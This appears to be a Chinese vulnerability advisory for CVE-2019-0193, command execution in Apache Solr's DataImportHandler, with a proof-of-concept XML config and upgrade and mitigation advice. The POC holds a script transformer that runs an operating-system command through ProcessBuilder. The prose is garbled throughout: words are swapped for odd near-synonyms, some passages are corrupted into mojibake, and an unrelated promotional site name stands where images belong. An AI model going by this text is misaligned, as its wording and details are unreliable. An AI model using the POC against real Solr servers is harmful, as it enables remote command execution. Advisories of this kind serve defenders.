Apache Solr远程号令执行缝隙措置建议

颁布功夫 2019-08-08

? 缝隙编号和级别


CVE编号:CVE-2019-0193,危险级别:严沉,CVSS分值:官方未评定


? 影响版本


受影响的版本


合用于Solr < 8.2.0且开启了DataImport职能 。


? 缝隙概述


Apache Solr是美国阿帕奇(Apache)软件基金会的一款基于Lucene(一款全文搜索引擎)的搜索服务器 。该产品支持层面搜索、垂直搜索、高亮显示搜索了局等 。


这次缝隙呈此刻Apache Solr的DataImportHandler,该� ?槭且桓隹裳〉S玫哪 ?�,用于从数据库和其他源中提取数据 。


该缝隙源于用户在solrconfig.xml文件中设置了DataImportHandler,开启了DataImport职能 。DataImportHandler� ?樵市碛没ё约涸毯绫�,来进行配置 。攻击者能够通过机关恶意的剧本交由转换器进行解析,在Solr解析的过程中并未对用户的输入做查抄,可导致攻击者远程在Solr服务器上执行号令 。


? 缝隙验证


POC:


<?xml version="1.0" encoding="UTF-8" ?>  
<dataConfig>  
<dataSource name="fromMysql"
     type="JdbcDataSource"  
     driver="com.mysql.jdbc.Driver"  
     url="jdbc:mysql://localhost:3306/mysql"  
     user="root"  
     password="123456"/>
<script ><![CDATA[
   function f2c(row) {
      var x=new java.lang.ProcessBuilder;x.command("open","/");org.apache.commons.io.IOUtils.toString(x.start().getInputStream());
     return row;
   }
   ]]>
 </script>  
<document>  
 <entity name="Users" query="SELECT 1" transformer="script:f2c">
 </entity>  
</document>  
</dataConfig>


接见url:http://ip:8983/solr/#/core1/dataimport//dataimport,存在这个蹊径,就证明用户的solr,有可选� ?镈ataImportHandler,存在缝隙利用风险 。详见下图:

 

宝运莱·(中国区)最新官方网站


该缝隙影响版本Solr < 8.2.0,在Dashboard页面能够查看solr的版本,详见下图:

 

宝运莱·(中国区)最新官方网站


? 建复建议


将Apache Solr升级至8.2.0或更高的版本 。


一时建复建议:


1、 编纂solrconfig.xml,将所有效固定值配置的DataImportHandler用法中的dataConfig参数设置为空字符串;

 

宝运莱·(中国区)最新官方网站


2、确保网络设置只允许可信的流量与Solr进行通讯,出格是与DIH要求处置法式的通讯 。


? 参考链接


https://issues.apache.org/jira/browse/SOLR-13669